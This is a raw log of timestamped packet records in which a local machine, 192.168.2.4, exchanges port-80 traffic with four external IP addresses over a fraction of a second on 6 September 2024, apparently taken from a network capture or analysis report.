Sep 6, 2024 08:17:05.647157907 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647169113 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647180080 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647192001 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647208929 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.647231102 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.647296906 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647308111 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647320032 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647346973 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.647362947 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.647365093 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647380114 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647391081 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647403955 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.647418976 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.647445917 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.651149035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651196003 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651207924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651221037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651245117 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651294947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651309013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651319981 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651330948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651334047 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651344061 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651355028 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651355982 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651375055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651393890 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651860952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651880026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651891947 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651897907 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651916027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651921988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.651932001 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.651956081 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.653095961 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653115988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653127909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653167009 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.653186083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.653203964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653214931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653232098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653244019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653254986 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653258085 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.653266907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.653271914 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.653296947 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.653316975 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.654000044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.654011011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.654052019 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.661843061 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.661868095 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.661920071 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.665811062 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665823936 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665834904 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665853024 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665863037 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.665864944 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665923119 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.665951967 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665962934 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665973902 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665987015 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.665993929 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.665999889 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.666009903 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.666035891 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.666063070 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.666074991 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.666085005 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.666098118 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.666109085 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.666109085 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.666125059 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.666125059 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.666138887 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.666143894 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.666169882 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.681441069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681452990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681463957 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681507111 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.681524992 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.681536913 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681550026 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681560993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681571960 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681583881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681595087 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681596041 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.681613922 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.681628942 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.681822062 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681838036 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681869030 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.681875944 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.681883097 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681924105 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681935072 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.681963921 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.681978941 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682123899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682136059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682146072 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682173967 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682190895 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682275057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682286978 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682296991 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682322025 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682341099 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682432890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682444096 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682455063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682471037 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682477951 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682497978 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682521105 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682676077 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682720900 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682723999 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682735920 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682746887 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.682768106 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682786942 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.682918072 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683013916 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683017015 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683027029 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683038950 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683049917 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683058977 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683062077 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683085918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683098078 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683341980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683367014 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683377981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683418989 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683449030 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683459997 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683470011 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683495998 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683510065 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683829069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683840990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683856964 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683867931 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683877945 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.683878899 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683901072 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.683919907 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.684139013 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.684149981 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.684161901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.684186935 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.684211969 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.684226990 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.684238911 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.684248924 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.684261084 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.684271097 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.684272051 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.684293985 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.684313059 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.710767984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.710809946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.710827112 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.710843086 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.741514921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741542101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741564035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741580009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741591930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741616964 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.741638899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.741744041 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741755962 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741767883 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741782904 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.741801977 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.741895914 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741906881 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741918087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.741940975 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.741965055 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.742841005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.742893934 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.742904902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.742918015 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.742939949 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.743062019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.743073940 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.743084908 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.743100882 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.743122101 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.743133068 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.743140936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.743153095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.743169069 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.743202925 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.743993044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.744280100 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.778930902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.778956890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.778965950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.778983116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.778995037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.779027939 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.779050112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.779061079 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.779062033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.779086113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.779109955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.779858112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.779896975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.779908895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.779932976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.779953957 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.779983044 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.782835960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.782890081 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.782953024 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783008099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.783081055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783126116 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.783368111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783376932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783390045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783401966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783412933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783421993 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.783437014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.783468008 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.783515930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783528090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783544064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:05.783551931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.783570051 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.783585072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:05.801837921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.801851034 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.801861048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.801907063 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.801933050 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.801970959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.801984072 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.801994085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.802006006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.802014112 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.802043915 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.802653074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.802669048 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.802680969 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.802691936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.802704096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.802733898 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.802751064 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.803591013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.803632021 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.808829069 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.808839083 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.808881998 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.808914900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.808927059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.808938980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.808974981 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809000969 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809011936 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809022903 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809035063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809045076 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809048891 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809060097 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809068918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809087038 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809113026 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809290886 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809302092 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809313059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809341908 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809365034 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809365034 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809376955 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809413910 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809523106 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809534073 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809545040 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809572935 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809585094 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809590101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809602022 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809634924 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809761047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809772015 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809782982 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809812069 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809817076 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809823990 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809828997 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.809854984 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809869051 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.809982061 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810005903 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810017109 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810045958 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810058117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810059071 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810081959 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810111046 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810214996 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810245991 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810255051 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810257912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810281992 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810291052 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810296059 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810302019 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810339928 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.810468912 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810516119 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810527086 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810549021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.810556889 CEST	49739	80	192.168.2.4	31.41.244.9
